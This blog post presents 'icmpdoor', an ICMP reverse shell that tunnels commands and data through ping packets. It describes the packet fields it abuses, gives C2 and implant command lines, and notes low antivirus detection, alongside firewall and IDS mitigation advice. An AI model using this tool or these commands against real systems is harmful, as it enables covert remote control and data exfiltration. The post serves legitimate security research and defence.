ICMP is mainly used to ping computers and appliances across networks. This blog post explains why leaving ICMP unfiltered by a corporate and host-based firewall can form a bigger risk than you might initially think. Our ICMP reverse shell called icmpdoor can tunnel out a covert channel to control a compromised machine and exfiltrate data as an insider threat. Your Anti-Virus (AV) will most likely not detect and block icmpdoor either. This ICMP reverse shell works both on Linux and Windows 10.
A reverse shell is a remote interactive shell for command execution initiated by the attacker to gain control over a compromised system. A reverse shell can also be abused by an insider threat to exfiltrate data over this covert channel. Corporate edge and core firewalls are typically configured to filter/deny/block TCP and UDP ports, or ever specific applications (layer 7 firewalling). Figure 1 shows how a well-configured firewall should block a traditional TCP or UDP reverse shell:
ICMP Reverse Shell
ICMP stands for Internet Control Message Protocol. This protocol is often overlooked or depreciated when planning a firewall strategy. ICMP firewall filtering is rarely configured which allows malicious actors to evade firewalls. Abusing ICMP as a backdoor has been done by at least one APT (Advanced Persistent Threat) group in the past. Blocking the ICMP protocol completely would also imply hosts can no longer ping each other.
I decided to write my own ICMP reverse shell called icmpdoor in Python 3 since I could not find a proper alternative. This ICMP reverse shell tunnel works on most, if not all, Linux distributions and Windows 10 as long as you can ping from Machine A to Machine B.
ICMP deep dive
We first analyze a traditional ping. Typically a ping echo-request (type 8) is sent and expect a ping echo-reply (type 0) in return. Code block 1 shows us the RFC 792 ICMP echo-request and echo-reply packets header.
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identifier (ID) | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Optional Data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The optional ICMP Data field is normally used for error messaging. However, instead of an error message, we will abuse this data field for our reverse shell payload (Raw) which can be a maximum of 576 bytes in size. We will fragment the payload if the total size exceeds this maximum of 576 bytes.
We also modify and abuse the ICMP Identifier field to a static value of 13170 in order to filter out legitimate ICMP packets and match our ICMP reverse shell. In total we filter/manipulate the following header fields:
1) pkt[IP].src (IP address of machine A or B)
2) ip[ttl] (Time To Live == 64)
3) pkt[ICMP].type (Echo Request  or Echo Reply )
4) pkt[ICMP].id (Static Identification (ID) field with value 13170 == 0x3372 in hexadecimal)
5) pkt[Raw].load (Payload ≠ empty)
Figure 2 shows all the packet encapsulation layers and their values when we send the Linux command id. with a reply uid=0(root) gid=0(root) groups=0(root). icmpdoor is encapsulated in the following network packets: MAC[IP[ICMP(payload)]]]
The Python 3 Scapy module helps us manipulate network fields. Figure 3 shows the connection flow followed in a Command & Control (C2) setup:
icmp-cnc.py runs on Machine A while icmpdoor.py or icmpdoor.exe runs on Machine B.
1) The attacker sends a command e.g. hostname as payload over ICMP echo-request (code 8) with ICMP ID 13170.
2) The victim executes strips of the network packets and executes command hostname with os.popen.
3) The victim sends the output of the hostname command ubuntu2040 back to the attacker’s machine over ICMP echo-reply (code 0) with the same ICMP ID 13170.
icmpdoor does not time-out automatically because it does not establish a socket. Instead, this interactive shell is connectionless due to the nature of how the ICMP protocol works. This technique works with global routable IP's (WAN connections).
You can pull icmpdoor from my GitHub repository. Pre-compiled stand-alone binaries for Windows 10 and Linux are also available from the same repo.
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command & Control (C2)) ./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)
Do note that this ICMP reverse shell is unencrypted and does not use (base64) encoding:
$ shell: id 0000 00 0C 29 61 10 78 00 0C 29 B8 E9 F9 08 00 45 00 ..)a.x..).....E. 0010 00 43 00 01 00 00 40 01 94 DD C0 A8 B2 43 C0 A8 .C....@......C.. 0020 B2 47 00 00 16 51 33 72 00 00 75 69 64 3D 30 28 .G...Q3r..uid=0( 0030 72 6F 6F 74 29 20 67 69 64 3D 30 28 72 6F 6F 74 root) gid=0(root 0040 29 20 67 72 6F 75 70 73 3D 30 28 72 6F 6F 74 29 ) groups=0(root) 0050 0A
Network administrators and security engineers should limit or deny ICMP traffic as much as possible. When this is not feasible due to protocol requirements or network planning, scope the accepted source and destination of ICMP packets. This blog post elaborates on how to configure this with iptables.
Always take the scenario of lateral movement into account when you are planning network segmentation and configuring firewall settings. Lateral movement is a technique used by malicious actors after gaining initial access, to progressively move further into a domain, network or infrastructure. This means isolation of assets and firewall filters are only limited to the scope of a certain level.
Firewalls and gateways can also rate-limit ICMP packets. However, this control is mostly used to mitigate DDoS attacks and would imply ICMP-based data exfiltration is only slowed down.
DPI (Deep Packet Inspection) and IPS (Intrusion Prevention System) solutions such as Zeek and Snort or next-gen firewalls could possibly detect this ICMP tunnel due to the presence of the (plain-text) payload and static ID value. Network Anomaly Detection solutions could also flag this reverse shell. We have a modified version of icmpdoor we use for client engagements which does not get detected by these IDS/IPS systems.
You can also configure the TTL (Time To Live) according to the expected Operating System (OS) of the victim. icmpdoor uses a TTL value of 64 which is the default for most Linux distributions. Windows uses a TTL value of 128, while network appliances usually have a TTL of 255.
Screenshot 1 and 2 shows how icmpdoor works on Ubuntu 20.04, Debian 10 (Kali Linux) and Windows 10. ClamAV is running on Ubuntu 20.04, while Microsoft Defender Advanced Threat Protection is active on the Windows 10 Enterprise machine with the November CU 2020 installed.
Screenshot 3 shows us that the Linux stand-alone ELF binary of icmpdoor gets only detected on 1/64 ATP/AV solutions (November 14th, 2020).
The Windows binary icmpdoor.exe gets detected on 3/72 Advanced Threat Protection (ATP)/AV solutions (November 14th, 2020). Windows 10 Defender Firewall (host-based firewall) is also turned on with default settings which does not block this reverse shell either. User Account Control (UAC) is also enabled if this matters. Nontheless, we use a modified version of icmpdoor during client engagements which has a 0/72 detection rate.